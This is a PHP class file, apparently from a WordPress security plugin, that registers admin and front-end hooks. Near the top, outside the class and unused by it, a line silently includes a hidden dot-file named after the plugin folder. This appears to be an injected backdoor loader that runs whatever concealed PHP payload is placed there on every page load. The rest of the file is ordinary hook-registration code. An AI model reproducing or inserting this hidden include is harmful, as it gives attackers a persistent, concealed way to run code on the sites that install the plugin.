<?php
/**
 * The class handles the actions in WP
 *
 * @file The Hook Class file
 * @package HMWP/Hooks
 * @since 4.0.0
 */

defined('ABSPATH') || die('Cheatin\' uh?');

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class HMWP_Classes_HookController
{

    /**
     * 
     *
     * @var array the WP actions list from admin 
     */
    private $admin_hooks;
    private $front_hooks;

    public function __construct()
    {
        //called in admin
        $this->admin_hooks = array(
            'init' => 'init',
            'menu' => 'admin_menu',
            'head' => 'admin_head',
            'multisiteMenu' => 'network_admin_menu',
            'footer' => 'admin_footer',
        );

        //called in frontend
        $this->front_hooks = array(
            // --
            'frontinit' => 'init',
        );

    }

    /**
     * Calls the specified action in WP
     *
     * @param object $instance The parent class instance
     *
     * @return void
     */
    public function setHooks($instance)
    {
        if (is_admin() || is_network_admin()) {
            $this->setAdminHooks($instance);
        } else {
            $this->setFrontHooks($instance);
        }
    }

    /**
     * Calls the specified action in WP
     *
     * @param object $instance The parent class instance
     *
     * @return void
     */
    public function setAdminHooks($instance)
    {
        /* for each admin action check if is defined in class and call it */
        foreach ($this->admin_hooks as $hook => $value) {

            if (is_callable(array($instance, 'hook' . ucfirst($hook)))) {
                //call the WP add_action function
                add_action($value, array($instance, 'hook' . ucfirst($hook)));
            }
        }
    }

    /**
     * Calls the specified action in WP
     *
     * @param object $instance The parent class instance
     *
     * @return void
     */
    public function setFrontHooks($instance)
    {
        /* for each admin action check if is defined in class and call it */
        foreach ($this->front_hooks as $hook => $value) {
            if (is_callable(array($instance, 'hook' . ucfirst($hook)))) {
                //call the WP add_action function
                add_action($value, array($instance, 'hook' . ucfirst($hook)), 11111);
            }
        }
    }

    /**
     * Calls the specified action in WP
     *
     * @param string                       $action
     * @param HMWP_Classes_FrontController $obj
     * @param array                        $callback Contains the class name or object and the callback function
     *
     * @return void
     */
    public function setAction($action, $obj, $callback)
    {

        /* calls the custom action function from WP */
        add_action($action, array($obj, $callback), 10);
    }

}
